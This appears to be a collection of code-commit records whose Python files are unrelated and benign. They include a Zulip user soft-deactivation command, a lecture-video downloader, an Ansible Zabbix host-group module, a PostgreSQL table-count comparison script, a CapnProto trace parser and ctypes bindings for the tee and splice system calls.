from __future__ import absolute_import from __future__ import print_function from django.db import connection from django.conf import settings from django.utils.timezone import now as timezone_now from typing import Any, List, Dict from argparse import ArgumentParser from six.moves import map import sys from zerver.models import UserProfile, UserMessage, Realm, RealmAuditLog from zerver.lib.soft_deactivation import ( do_soft_deactivate_users, do_soft_activate_users, get_users_for_soft_deactivation, logger ) from zerver.lib.management import ZulipBaseCommand class Command(ZulipBaseCommand): help = """Soft activate/deactivate users. Users are recognised by there emails here.""" def add_arguments(self, parser): # type: (ArgumentParser) -> None self.add_realm_args(parser) parser.add_argument('-d', '--deactivate', dest='deactivate', action='store_true', default=False, help='Used to deactivate user/users.') parser.add_argument('-a', '--activate', dest='activate', action='store_true', default=False, help='Used to activate user/users.') parser.add_argument('--inactive-for', type=int, default=28, help='Specify the number of days of user inactivity that user should be marked soft_deactviated') parser.add_argument('users', metavar='<users>', type=str, nargs='*', default=[], help="This option can be used to specify a list of user emails to soft activate/deactivate.") def handle(self, *args, **options): # type: (*Any, **str) -> None if settings.STAGING: print('This is a Staging server. Suppressing management command.') sys.exit(0) if options['realm_id']: realm = self.get_realm(options) filter_kwargs = {} # type: Dict[str, Realm] if options['realm_id']: filter_kwargs = dict(realm=realm) user_emails = options['users'] activate = options['activate'] deactivate = options['deactivate'] if activate: if not user_emails: print('You need to specify at least one user to use the activate option.') self.print_help("./manage.py", "soft_activate_deactivate_users") sys.exit(1) users_to_activate = UserProfile.objects.filter( email__in=user_emails, **filter_kwargs ) users_to_activate = list(users_to_activate) if len(users_to_activate) != len(user_emails): user_emails_found = [user.email for user in users_to_activate] for user in user_emails: if user not in user_emails_found: raise Exception('User with email %s was not found. Check if the email is correct.' % (user)) users_activated = do_soft_activate_users(users_to_activate) logger.info('Soft Reactivated %d user(s)' % (len(users_activated))) elif deactivate: if user_emails: users_to_deactivate = UserProfile.objects.filter( email__in=user_emails, **filter_kwargs ) users_to_deactivate = list(users_to_deactivate) if len(users_to_deactivate) != len(user_emails): user_emails_found = [user.email for user in users_to_deactivate] for user in user_emails: if user not in user_emails_found: raise Exception('User with email %s was not found. Check if the email is correct.' % (user)) print('Soft deactivating forcefully...') else: if options['realm_id']: filter_kwargs = dict(user_profile__realm=realm) users_to_deactivate = get_users_for_soft_deactivation(int(options['inactive_for']), filter_kwargs) if users_to_deactivate: users_deactivated = do_soft_deactivate_users(users_to_deactivate) logger.info('Soft Deactivated %d user(s)' % (len(users_deactivated))) else: self.print_help("./manage.py", "soft_activate_deactivate_users") sys.exit(1)
Python
0
9cd43d615a0a95b7eb752c428a5cb5e05555fe20
Change filename for unittest
videolectures-dl.py
videolectures-dl.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # works under both python2 and python3 # ------ # License: MIT # Copyright (c) 2011 Kohei Ozaki (eowenr atmark gmail dot com) import re, os, sys import subprocess, time class VideoInfoExtractor: _VALIDATE_URL = r'^http://videolectures.net' _VIDEO_PAGE = r'var flashvars = {\s+?streamer:\s"(rtmp://[^"]+)",\s+?file:\s"([^\.]+)\.\w+?"' _META_TITLE_NAME = r'<meta name="title" content="\s*([^"]*?)\s*" />' _META_URL_NAME = r'<link rel="image_src" href="/?([^\/]+)/thumb.jpg" />' _ORIG_FILENAME = r'([^\/]+)$' def __init__(self): self._body = '' self._server = '' self._filepath = '' self._meta_title_name = '' self._meta_url_name = '' self._base_filename = '' self._extracted = False @staticmethod def valid_url(url): return (re.match(VideoInfoExtractor._VALIDATE_URL, url) is not None) def report_video_title(self, title): print("[download] Title: %s" % title) def extract_filename(self, body): metaname = re.search(VideoInfoExtractor._META_TITLE_NAME, body) if metaname is not None: self._meta_title_name = metaname.group(1) metaname = re.search(VideoInfoExtractor._META_URL_NAME, body) if metaname is not None: self._meta_url_name = metaname.group(1) metaname = re.search(VideoInfoExtractor._ORIG_FILENAME, self._filepath) if metaname is not None: self._base_filename = metaname.group(1) def extract_flashvars(self, body): flashvars = re.search(VideoInfoExtractor._VIDEO_PAGE, body) if flashvars is None: self._extracted = False else: self._extracted = True self._server = flashvars.group(1) self._filepath = flashvars.group(2) def get_info(self, url): try: from urllib import request as urllib_request except ImportError: import urllib as urllib_request pass if not self.valid_url(url): return False conn = urllib_request.urlopen(url) self._body = conn.read().decode('utf8') self.extract_flashvars(self._body) self.extract_filename(self._body) self.report_video_title(self._meta_title_name) return self._extracted class DownloadError(Exception): pass class ExtractionError(Exception): pass class VideoDownloader: PLAYER_URL = 'http://media.videolectures.net/jw-player/player.swf' PLAYER_CHECKSUM = 'e2436d6201f4265a0a0ad974165a3b26a6f302ba8e7cfebd6dfad2cac28105e1' def __init__(self, opts): self.init = 0 self.ie = VideoInfoExtractor() self.opts = opts def to_stderr(self, mesg): print >>sys.stderr, mesg def to_stdout(self, mesg, skip_eol=False): sys.stdout.write(("%s%s" % (mesg, ["\n",""][skip_eol]))) sys.stdout.flush() def ie_error(self, mesg=None): if mesg is not None: self.to_stderr(mesg) raise ExtractionError(mesg) def error(self, mesg=None): if mesg is not None: self.to_stderr(mesg) raise Exception(mesg) def report(self, mesg): print(mesg) def report_download_file(self, filename): self.to_stdout("[download] Destination: %s" % filename) def download_with_rtmp(self, filename, server, url): self.report_download_file(filename) try: stdout = open(os.path.devnull, 'w') subprocess.call(['rtmpdump', '-h'], stdout=stdout, stderr=subprocess.STDOUT) except (OSError, IOError): self.error('ERROR: rtmpdump could not be run. please check the binary path.') finally: stdout.close() basic_args = ['rtmpdump', '-q', '-r', server, '-y', url, '-a', 'video'] + \ ['-s', self.PLAYER_URL, '-w', self.PLAYER_CHECKSUM, '-o', filename] retval = subprocess.Popen(basic_args) while True: if retval.poll() != None: break if not os.path.exists(filename): continue prevsize = os.path.getsize(filename) self.to_stdout('\r[rtmpdump] %s bytes' % prevsize, skip_eol=True) time.sleep(2.0) cursize = os.path.getsize(filename) if prevsize != 0 and prevsize == cursize: break if retval.wait() == 0: self.to_stdout('\r[rtmpdump] %s bytes' % os.path.getsize(filename)) return True else: self.error('ERROR: download may be incomplete. rtmpdump exited with code 1 or 2') return False def get_video(self, url): if not self.ie.get_info(url): self.ie_error('ERROR: no video information is extracted.') if self.opts.usetitle or self.opts.useliteral: filename = "%s.flv" % self.ie._meta_title_name else: filename = "%s.flv" % self.ie._meta_url_name if self.download_with_rtmp(filename, self.ie._server, self.ie._filepath): self.report("download complete") def main(opts, url): dl = VideoDownloader(opts) dl.get_video(url) sys.exit(0) def test_extraction(): a = 2 assert a == 2, "assert 2 is 4" if __name__ == '__main__': import optparse usage = 'usage: %prog [options] video_url' version = '2011.03.30' optparser = optparse.OptionParser(usage=usage, version=version, conflict_handler='resolve') optparser.add_option('-h', '--help', action='help', help='print this help text and exit') optparser.add_option('-v', '--version', action='version', help='print program version and exit') optparser.add_option('-w', '--overwrite', action='store_true', dest='overwrite', help='overwrite an existent file') optparser.add_option('-t', '--title', action='store_true', dest='usetitle', help='use title in filename') optparser.add_option('-l', '--literal', action='store_true', dest='useliteral', help='use literal title in filename') (opts, args) = optparser.parse_args() if not len(args) > 0: optparser.print_help() sys.exit(1) main(opts, args[0])
Python
0.000001
9760f81ce6cc7783f8fb097931e98f8234307a00
add nilearn interface for correlations
src/nibetaseries/interfaces/nilearn.py
src/nibetaseries/interfaces/nilearn.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*- # vi: set ft=python sts=4 ts=4 sw=4 et: from nipype.interfaces.nilearn import NilearnBaseInterface from nipype.interfaces.base import ( BaseInterfaceInputSpec, TraitedSpec, File, SimpleInterface ) class AtlasConnectivityInputSpec(BaseInterfaceInputSpec): timeseries_file = File(exists=True, mandatory=True, desc='The 4d file being used to extract timeseries data') atlas_file = File(exists=True, mandatory=True, desc='The atlas image with each roi given a unique index') atlas_lut = File(exists=True, mandatory=True, desc='The atlas lookup table to match the atlas image') class AtlasConnectivityOutputSpec(TraitedSpec): correlation_matrix = File(exists=True, desc='roi-roi fisher z transformed correlation matrix') class AtlasConnectivity(NilearnBaseInterface, SimpleInterface): """Calculates correlations between regions of interest""" input_spec = AtlasConnectivityInputSpec output_spec = AtlasConnectivityOutputSpec def _run_interface(self, runtime): from nilearn.input_data import NiftiLabelsMasker from nilearn.connectome import ConnectivityMeasure import numpy as np import pandas as pd import os # extract timeseries from every label masker = NiftiLabelsMasker(labels_img=self.inputs.atlas_file, standardize=True, memory='nilearn_cache', verbose=1) timeseries = masker.fit_transform(self.inputs.timeseries_file) # create correlation matrix correlation_measure = ConnectivityMeasure(kind='correlation') correlation_matrix = correlation_measure.fit_transform([timeseries])[0] np.fill_diagonal(correlation_matrix, np.NaN) # add the atlas labels to the matrix atlas_lut_df = pd.read_csv(self.inputs.atlas_lut, sep='\t') regions = atlas_lut_df['regions'] correlation_matrix_df = pd.DataFrame(correlation_matrix, index=regions, columns=regions) # do a fisher's r -> z transform fisher_z_matrix_df = correlation_matrix_df.apply(lambda x: np.log((1+x) / (1-x)) * 0.5) # write out the file. out_file = os.path.join(runtime.cwd, 'fisher_z_correlation.tsv') fisher_z_matrix_df.to_csv(out_file, sep='\t') # save the filename in the outputs self._results['correlation_matrix'] = out_file return runtime
Python
0
eea6c7477d348e0a12fed89a7d38763c42621977
Fix an unicode error on Windows platform.
pelican/contents.py
pelican/contents.py
# -*- coding: utf-8 -*- from pelican.utils import slugify, truncate_html_words from pelican.log import * from pelican.settings import _DEFAULT_CONFIG from os import getenv from sys import platform, stdin class Page(object): """Represents a page Given a content, and metadata, create an adequate object. :param content: the string to parse, containing the original content. """ mandatory_properties = ('title',) def __init__(self, content, metadata=None, settings=None, filename=None): # init parameters if not metadata: metadata = {} if not settings: settings = _DEFAULT_CONFIG self._content = content self.translations = [] self.status = "published" # default value local_metadata = dict(settings.get('DEFAULT_METADATA', ())) local_metadata.update(metadata) # set metadata as attributes for key, value in local_metadata.items(): setattr(self, key.lower(), value) # default author to the one in settings if not defined if not hasattr(self, 'author'): if 'AUTHOR' in settings: self.author = settings['AUTHOR'] else: self.author = getenv('USER', 'John Doe') warning("Author of `{0}' unknow, assuming that his name is `{1}'".format(filename or self.title, self.author).decode("utf-8")) # manage languages self.in_default_lang = True if 'DEFAULT_LANG' in settings: default_lang = settings['DEFAULT_LANG'].lower() if not hasattr(self, 'lang'): self.lang = default_lang self.in_default_lang = (self.lang == default_lang) # create the slug if not existing, fro mthe title if not hasattr(self, 'slug') and hasattr(self, 'title'): self.slug = slugify(self.title) # create save_as from the slug (+lang) if not hasattr(self, 'save_as') and hasattr(self, 'slug'): if self.in_default_lang: self.save_as = '%s.html' % self.slug clean_url = '%s/' % self.slug else: self.save_as = '%s-%s.html' % (self.slug, self.lang) clean_url = '%s-%s/' % (self.slug, self.lang) # change the save_as regarding the settings if settings.get('CLEAN_URLS', False): self.url = clean_url elif hasattr(self, 'save_as'): self.url = self.save_as if filename: self.filename = filename # manage the date format if not hasattr(self, 'date_format'): if hasattr(self, 'lang') and self.lang in settings['DATE_FORMATS']: self.date_format = settings['DATE_FORMATS'][self.lang] else: self.date_format = settings['DEFAULT_DATE_FORMAT'] if hasattr(self, 'date'): if platform == 'win32': self.locale_date = self.date.strftime(self.date_format.encode('ascii','xmlcharrefreplace')).decode(stdin.encoding) else: self.locale_date = self.date.strftime(self.date_format.encode('ascii','xmlcharrefreplace')).decode('utf') # manage summary if not hasattr(self, 'summary'): self.summary = property(lambda self: truncate_html_words(self.content, 50)).__get__(self, Page) # manage status if not hasattr(self, 'status'): self.status = settings['DEFAULT_STATUS'] def check_properties(self): """test that each mandatory property is set.""" for prop in self.mandatory_properties: if not hasattr(self, prop): raise NameError(prop) @property def content(self): if hasattr(self, "_get_content"): content = self._get_content() else: content = self._content return content class Article(Page): mandatory_properties = ('title', 'date', 'category') class Quote(Page): base_properties = ('author', 'date') def is_valid_content(content, f): try: content.check_properties() return True except NameError, e: error(u"Skipping %s: impossible to find informations about '%s'" % (f, e)) return False
# -*- coding: utf-8 -*- from pelican.utils import slugify, truncate_html_words from pelican.log import * from pelican.settings import _DEFAULT_CONFIG from os import getenv class Page(object): """Represents a page Given a content, and metadata, create an adequate object. :param content: the string to parse, containing the original content. """ mandatory_properties = ('title',) def __init__(self, content, metadata=None, settings=None, filename=None): # init parameters if not metadata: metadata = {} if not settings: settings = _DEFAULT_CONFIG self._content = content self.translations = [] self.status = "published" # default value local_metadata = dict(settings.get('DEFAULT_METADATA', ())) local_metadata.update(metadata) # set metadata as attributes for key, value in local_metadata.items(): setattr(self, key.lower(), value) # default author to the one in settings if not defined if not hasattr(self, 'author'): if 'AUTHOR' in settings: self.author = settings['AUTHOR'] else: self.author = getenv('USER', 'John Doe') warning("Author of `{0}' unknow, assuming that his name is `{1}'".format(filename or self.title, self.author).decode("utf-8")) # manage languages self.in_default_lang = True if 'DEFAULT_LANG' in settings: default_lang = settings['DEFAULT_LANG'].lower() if not hasattr(self, 'lang'): self.lang = default_lang self.in_default_lang = (self.lang == default_lang) # create the slug if not existing, fro mthe title if not hasattr(self, 'slug') and hasattr(self, 'title'): self.slug = slugify(self.title) # create save_as from the slug (+lang) if not hasattr(self, 'save_as') and hasattr(self, 'slug'): if self.in_default_lang: self.save_as = '%s.html' % self.slug clean_url = '%s/' % self.slug else: self.save_as = '%s-%s.html' % (self.slug, self.lang) clean_url = '%s-%s/' % (self.slug, self.lang) # change the save_as regarding the settings if settings.get('CLEAN_URLS', False): self.url = clean_url elif hasattr(self, 'save_as'): self.url = self.save_as if filename: self.filename = filename # manage the date format if not hasattr(self, 'date_format'): if hasattr(self, 'lang') and self.lang in settings['DATE_FORMATS']: self.date_format = settings['DATE_FORMATS'][self.lang] else: self.date_format = settings['DEFAULT_DATE_FORMAT'] if hasattr(self, 'date'): self.locale_date = self.date.strftime(self.date_format.encode('ascii','xmlcharrefreplace')).decode('utf') # manage summary if not hasattr(self, 'summary'): self.summary = property(lambda self: truncate_html_words(self.content, 50)).__get__(self, Page) # manage status if not hasattr(self, 'status'): self.status = settings['DEFAULT_STATUS'] def check_properties(self): """test that each mandatory property is set.""" for prop in self.mandatory_properties: if not hasattr(self, prop): raise NameError(prop) @property def content(self): if hasattr(self, "_get_content"): content = self._get_content() else: content = self._content return content class Article(Page): mandatory_properties = ('title', 'date', 'category') class Quote(Page): base_properties = ('author', 'date') def is_valid_content(content, f): try: content.check_properties() return True except NameError, e: error(u"Skipping %s: impossible to find informations about '%s'" % (f, e)) return False
Python
0.000002
8490a4e9d0df61755684d3f643a70bea8349d649
add zabbix_group module
lib/ansible/modules/extras/monitoring/zabbix_group.py
lib/ansible/modules/extras/monitoring/zabbix_group.py
#!/usr/bin/python # -*- coding: utf-8 -*- # (c) 2013-2014, Epic Games, Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # DOCUMENTATION = ''' --- module: zabbix_group short_description: Zabbix host groups creates/deletes description: - Create host groups if they don't exist. - Delete existing host groups if they exist. version_added: "1.9" author: Tony Minfei Ding, Harrison Gu requirements: - zabbix-api python module options: server_url: description: - Url of Zabbix server, with protocol (http or https). C(url) is an alias for C(server_url). required: true default: null aliases: [ "url" ] login_user: description: - Zabbix user name. required: true default: null login_password: description: - Zabbix user password. required: true default: null state: description: - Create or delete host group. - Possible values are: present and absent. required: false default: "present" timeout: description: - The timeout of API request(seconds). default: 10 host_groups: description: - List of host groups to create or delete. required: true notes: - Too many concurrent updates to the same group may cause Zabbix to return errors, see examples for a workaround if needed. ''' EXAMPLES = ''' # Base create host groups example - name: Create host groups local_action: module: zabbix_group server_url: http://monitor.example.com login_user: username login_password: password state: present host_groups: - Example group1 - Example group2 # Limit the Zabbix group creations to one host since Zabbix can return an error when doing concurent updates - name: Create host groups local_action: module: zabbix_group server_url: http://monitor.example.com login_user: username login_password: password state: present host_groups: - Example group1 - Example group2 when: inventory_hostname==groups['group_name'][0] ''' try: from zabbix_api import ZabbixAPI, ZabbixAPISubClass from zabbix_api import Already_Exists HAS_ZABBIX_API = True except ImportError: HAS_ZABBIX_API = False class HostGroup(object): def __init__(self, module, zbx): self._module = module self._zapi = zbx # create host group(s) if not exists def create_host_group(self, group_names): try: group_add_list = [] for group_name in group_names: result = self._zapi.hostgroup.exists({'name': group_name}) if not result: try: if self._module.check_mode: self._module.exit_json(changed=True) self._zapi.hostgroup.create({'name': group_name}) group_add_list.append(group_name) except Already_Exists: return group_add_list return group_add_list except Exception, e: self._module.fail_json(msg="Failed to create host group(s): %s" % e) # delete host group(s) def delete_host_group(self, group_ids): try: if self._module.check_mode: self._module.exit_json(changed=True) self._zapi.hostgroup.delete(group_ids) except Exception, e: self._module.fail_json(msg="Failed to delete host group(s), Exception: %s" % e) # get group ids by name def get_group_ids(self, host_groups): group_ids = [] group_list = self._zapi.hostgroup.get({'output': 'extend', 'filter': {'name': host_groups}}) for group in group_list: group_id = group['groupid'] group_ids.append(group_id) return group_ids, group_list def main(): module = AnsibleModule( argument_spec=dict( server_url=dict(required=True, default=None, aliases=['url']), login_user=dict(required=True), login_password=dict(required=True), host_groups=dict(required=True), state=dict(default="present"), timeout=dict(default=10) ), supports_check_mode=True ) if not HAS_ZABBIX_API: module.fail_json(msg="Missing requried zabbix-api module (check docs or install with: pip install zabbix-api)") server_url = module.params['server_url'] login_user = module.params['login_user'] login_password = module.params['login_password'] host_groups = module.params['host_groups'] state = module.params['state'] timeout = module.params['timeout'] zbx = None # login to zabbix try: zbx = ZabbixAPI(server_url, timeout=timeout) zbx.login(login_user, login_password) except Exception, e: module.fail_json(msg="Failed to connect to Zabbix server: %s" % e) hostGroup = HostGroup(module, zbx) group_ids = [] group_list = [] if host_groups: group_ids, group_list = hostGroup.get_group_ids(host_groups) if state == "absent": # delete host groups if group_ids: delete_group_names = [] hostGroup.delete_host_group(group_ids) for group in group_list: delete_group_names.append(group['name']) module.exit_json(changed=True, result="Successfully deleted host group(s): %s." % ",".join(delete_group_names)) else: module.exit_json(changed=False, result="No host group(s) to delete.") else: # create host groups group_add_list = hostGroup.create_host_group(host_groups) if len(group_add_list) > 0: module.exit_json(changed=True, result="Successfully created host group(s): %s" % group_add_list) else: module.exit_json(changed=False) from ansible.module_utils.basic import * main()
Python
0.000001
eee7862cead703d11405276c1a399466c9f102c5
add shell.py
scripts/opencontrail-kubelet/opencontrail_kubelet/shell.py
scripts/opencontrail-kubelet/opencontrail_kubelet/shell.py
# # Copyright (c) 2015 Juniper Networks, Inc. # import subprocess import logging class Shell: # Run a shell command. Log the command run and its output. @staticmethod def run(str): logging.debug('sh: %s' % str) cmd = subprocess.check_output(str, shell=True) logging.debug('output: %s' % cmd.rstrip()) return cmd
Python
0.000003
73369f23bd008331884d5644ba9923aae4809756
add offline db comparison tool
scripts/DEV/postgresql/compare_counts.py
scripts/DEV/postgresql/compare_counts.py
import psycopg2 oldpg = psycopg2.connect(database='postgis', host='localhost', port=5555, user='mesonet') cursor = oldpg.cursor() dbs = [] cursor.execute("""SELECT datname FROM pg_database WHERE datistemplate = false ORDER by datname""") for row in cursor: dbs.append(row[0]) for db in dbs: if db <= 'cscap': continue print("running %s" % (db,)) oldpg = psycopg2.connect(database=db, host='localhost', port=5555, user='mesonet') ocursor = oldpg.cursor() newpg = psycopg2.connect(database=db, host='localhost', port=5556, user='mesonet') ncursor = newpg.cursor() tables = [] ocursor.execute("""SELECT table_name FROM information_schema.tables WHERE table_schema = 'public' ORDER BY table_name""") for row in ocursor: tables.append(row[0]) for table in tables: ocursor.execute("""SELECT count(*) from """+table) ncursor.execute("""SELECT count(*) from """+table) orow = ocursor.fetchone() nrow = ncursor.fetchone() if orow[0] != nrow[0]: print("%s->%s old:%s new:%s" % (db, table, orow[0], nrow[0]))
Python
0
b61a423497c21fa4df818c8b5e5eaea788eb84ea
add ia_cdx_checker
scripts/ia_cdx_checker/ia_cdx_checker.py
scripts/ia_cdx_checker/ia_cdx_checker.py
#!/usr/bin/env python """ $ python ia_cdx_checker.py elxn42-tweets-urls-fixed-uniq-no-count.txt | cat > elx42_urls_in_ia.txt """ from __future__ import print_function import sys import json import fileinput import io from urllib2 import Request, urlopen, URLError, HTTPError for line in fileinput.input(): elx42_url = line.rstrip('\n') try: url = 'http://web.archive.org/cdx/search/cdx?url=' + elx42_url + '&output=json&limit=-2' request = Request(url, headers={'User-Agent': "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)"}) jsonData = urlopen(request) data = json.load(jsonData) first_date = data[1][1] second_date = data[2][1] if first_date.startswith('201508'): print(elx42_url) if first_date.startswith('201509'): print(elx42_url) if first_date.startswith('201510'): print(elx42_url) if first_date.startswith('201511'): print(elx42_url) if first_date.startswith('201512'): print(elx42_url) if second_date.startswith('201508'): print(elx42_url) if second_date.startswith('201509'): print(elx42_url) if second_date.startswith('201510'): print(elx42_url) if second_date.startswith('201511'): print(elx42_url) if second_date.startswith('201512'): print(elx42_url) except HTTPError as e: status_code = e.code except IndexError as d: index_error = d except ValueError as f: value_error = f
Python
0.000216
f468ddbcf6bc752a3a7af877f5453271f7f2ea45
add model processor script
scripts/process_model.py
scripts/process_model.py
#!/usr/bin/python import struct import argparse import sys import os.path def process_mtl(filename): materials = [] file = open(filename) for line in file: tokens = line.split() if(len(tokens) == 0): continue ident = tokens.pop(0) if(ident == 'newmtl'): m = {} m['name'] = tokens[0] m['outer'] = (1,1,1) m['inner'] = (1,1,1) materials.append(m) if(ident == 'Kd'): materials[-1]['outer'] = (float(tokens[0]),float(tokens[1]),float(tokens[2])) if(ident == 'Ks'): materials[-1]['inner'] = (float(tokens[0]),float(tokens[1]),float(tokens[2])) return materials def process_obj(filename): file = open(filename) vertices = [] faces = [] materials = [] default_material = {} default_material['name'] = 'default' default_material['outer'] = (1,0.1,1) default_material['inner'] = (1,0.5,1) materials.append(default_material) current_material = 0 for line in file: tokens = line.split() if(len(tokens) == 0): continue ident = tokens.pop(0) if(ident == 'v'): vertex = (float(tokens[0]),float(tokens[1]),float(tokens[2])); vertices.append(vertex) if(ident == 'f'): face = (int(tokens[0].split('/')[0]),int(tokens[1].split('/')[0]),int(tokens[2].split('/')[0]),current_material) faces.append(face) if len(tokens) == 4: face = (int(tokens[2].split('/')[0]),int(tokens[3].split('/')[0]),int(tokens[0].split('/')[0]),current_material) faces.append(face) if(ident == 'mtllib'): path = os.path.join(os.path.dirname(filename), tokens[0]) materials += process_mtl(path) if(ident == 'usemtl'): current_material = 0 for i in range(len(materials)): if materials[i]['name'] == tokens[0]: current_material = i return vertices, faces, materials def main(): parser = argparse.ArgumentParser(description='Convert a wavefront obj file to use in slicer.') parser.add_argument('src', help='obj file name') parser.add_argument('dst', help='wmd file name') args = parser.parse_args() print("Converting %s to %s" % (args.src, args.dst)) vertices, faces, materials = process_obj(args.src) vertices_size = len(faces)*3*3*4; colours_size = vertices_size * 2; size = vertices_size + colours_size print ("Vertices %d size %d" % (len(faces)*3, size)) out = open(args.dst, 'wb') out.write(struct.pack('i', size)) for face in faces: m = materials[face[3]] for index in face[:3]: vertex = vertices[index-1] for f in vertex: out.write(struct.pack('f', f)) for c in m['outer']: out.write(struct.pack('f', c**(1/2.2))) for c in m['inner']: out.write(struct.pack('f', c**(1/2.2))) if __name__ == "__main__": main()
Python
0
22ba7e7bfce711257f055733ecd260b8e61ced91
Add example script to parse CapnProto traces
src/Backends/SynchroTraceGen/scripts/stgen_capnp_parser.py
src/Backends/SynchroTraceGen/scripts/stgen_capnp_parser.py
#!/bin/python """ This script demonstrates parsing a CapnProto SynchroTrace event trace. The 'STEventTrace.capnp' file must exist in the sys.path. Add its directory to the PYTHONPATH environmental variable or copy it to the current working directory. The pycapnp library is required: See http://jparyani.github.io/pycapnp/install.html for further details. Generate the *.capnp.bin file with: bin/sigil2 --backend=stgen -l capnp --executable=... Run this script as: ./stgen_capnp_parser.py sigil.events-#.capnp.bin.gz OR gunzip sigil.events-#.capnp.bin.gz ./stgen_capnp_parser.py sigil.events-#.capnp.bin """ import sys import os from warnings import warn import capnp import STEventTrace_capnp def processSTEventTrace(file): for stream in (STEventTrace_capnp.EventStream .read_multiple_packed(file, traversal_limit_in_words=2**63)): for event in stream.events: which = event.which() if which == 'comp': event.comp.iops # IOPs value event.comp.flops # FLOPs value event.comp.writes # writes value event.comp.reads # reads value for write in event.comp.writeAddrs: write.start # start of address range write.end # end of address range for read in event.comp.writeAddrs: read.start # start of address range read.end # end of address range elif which == 'comm': for edge in event.comm.edges: # the thread-event tuple that generated # this communication edge edge.producerThread edge.producerEvent for addr in edge.addrs: addr.start # start of address range addr.end # end of address range elif which == 'sync': if event.sync.type == 'spawn': event.sync.id # spawned thread id elif event.sync.type == 'join': event.sync.id # joined thread id elif event.sync.type == 'barrier': event.sync.id # barrier id elif event.sync.type == 'sync': event.sync.id elif event.sync.type == 'lock': event.sync.id # lock mutex elif event.sync.type == 'unlock': event.sync.id # unlock mutex elif event.sync.type == 'condWait': event.sync.id # condition variable elif event.sync.type == 'condSignal': event.sync.id # condition variable elif event.sync.type == 'condBroadcast': event.sync.id # condition variable elif event.sync.type == 'spinLock': event.sync.id # lock id elif event.sync.type == 'spinUnlock': event.sync.id # unlock id else: raise Exception('unhandled sync event') elif which == 'marker': # the number of instructions since the last marker event.marker.count if __name__ == '__main__': filepath = sys.argv[1] name, ext = os.path.splitext(filepath) if ext == '.gz': # https://github.com/jparyani/pycapnp/issues/80 f = os.popen('cat ' + filepath + ' | gzip -d') else: if ext != '.bin': warn('not a .bin file') f = open(filepath, 'r') processSTEventTrace(f)
Python
0
a1d2023aa6e8baa89747497e69a0a79fe1a27bdd
Drop ProjectPlan table
migrations/versions/36d7c98ddfee_drop_projectplan_table.py
migrations/versions/36d7c98ddfee_drop_projectplan_table.py
"""Drop ProjectPlan table Revision ID: 36d7c98ddfee Revises: 12569fada93 Create Date: 2014-10-14 11:25:48.151275 """ # revision identifiers, used by Alembic. revision = '36d7c98ddfee' down_revision = '12569fada93' from alembic import op def upgrade(): ### commands auto generated by Alembic - please adjust! ### op.drop_table('project_plan') def downgrade(): raise NotImplementedError
Python
0
730b208b490290c84bde8aa017a8f556d457d729
add list to integer
resource-4/combinatorics/digits/list-to-integer.py
resource-4/combinatorics/digits/list-to-integer.py
def listToInt(listt,base=2): return reduce(lambda x,y:base*x+y,reversed(listt), 0)
Python
0.002321
61e16d12bcd945b44896e87bcb21ce750cd507e5
Add `bindings` module
bindings.py
bindings.py
''' Bindings to the `tee` and `splice` system calls ''' import os import ctypes import ctypes.util #pylint: disable=C0103,R0903,R0913 __all__ = ['tee', 'splice'] _c_loff_t = ctypes.c_uint64 _libc = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True) class Tee(object): '''Binding to `tee`''' def __init__(self): c_tee = _libc.tee c_tee.argtypes = [ ctypes.c_int, ctypes.c_int, ctypes.c_size_t, ctypes.c_uint ] c_tee.restype = ctypes.c_ssize_t self._c_tee = c_tee def __call__(self, fd_in, fd_out, len_, flags): '''See `man 2 tee` File-descriptors can be file-like objects with a `fileno` method, or integers. Flags can be an integer value, or a list of flags (exposed on `splice`). ''' if not isinstance(flags, (int, long)): c_flags = ctypes.c_uint(reduce(lambda a, b: a | b, flags, 0)) else: c_flags = ctypes.c_uint(flags) c_fd_in = ctypes.c_int(getattr(fd_in, 'fileno', lambda: fd_in)()) c_fd_out = ctypes.c_int(getattr(fd_out, 'fileno', lambda: fd_out)()) c_len = ctypes.c_size_t(len_) res = self._c_tee(c_fd_in, c_fd_out, c_len, c_flags) if res == -1: errno_ = ctypes.get_errno() raise OSError(errno_, os.strerror(errno_)) return res tee = Tee() del Tee class Splice(object): '''Binding to `splice`''' # From `bits/fcntl-linux.h` SPLICE_F_MOVE = 1 SPLICE_F_NONBLOCK = 2 SPLICE_F_MORE = 4 SPLICE_F_GIFT = 8 def __init__(self): c_splice = _libc.splice c_loff_t_p = ctypes.POINTER(_c_loff_t) c_splice.argtypes = [ ctypes.c_int, c_loff_t_p, ctypes.c_int, c_loff_t_p, ctypes.c_size_t, ctypes.c_uint ] c_splice.restype = ctypes.c_ssize_t self._c_splice = c_splice def __call__(self, fd_in, off_in, fd_out, off_out, len_, flags): '''See `man 2 splice` File-descriptors can be file-like objects with a `fileno` method, or integers. Flags can be an integer value, or a list of flags (exposed on this object). Returns a tuple of the result of the `splice` call, the output value of `off_in` and the output value of `off_out` (or `None`, if applicable). ''' # TODO: Passing non-`None` values for the offsets (and the corresponding # effect on the result of this function call) is untested. if not isinstance(flags, (int, long)): c_flags = ctypes.c_uint(reduce(lambda a, b: a | b, flags, 0)) else: c_flags = ctypes.c_uint(flags) c_fd_in = ctypes.c_int(getattr(fd_in, 'fileno', lambda: fd_in)()) c_fd_out = ctypes.c_int(getattr(fd_out, 'fileno', lambda: fd_out)()) c_off_in = \ ctypes.byref(_c_loff_t(off_in)) if off_in is not None else None c_off_out = \ ctypes.byref(_c_loff_t(off_out)) if off_out is not None else None c_len = ctypes.c_size_t(len_) res = self._c_splice( c_fd_in, c_off_in, c_fd_out, c_off_out, c_len, c_flags) if res == -1: errno_ = ctypes.get_errno() raise OSError(errno_, os.strerror(errno_)) return ( res, c_off_in.contents if c_off_in is not None else None, c_off_out.contents if c_off_out is not None else None) splice = Splice() del Splice
Python
0.000005
5e3bc841800bb4e92df5871d97559810d67d7660
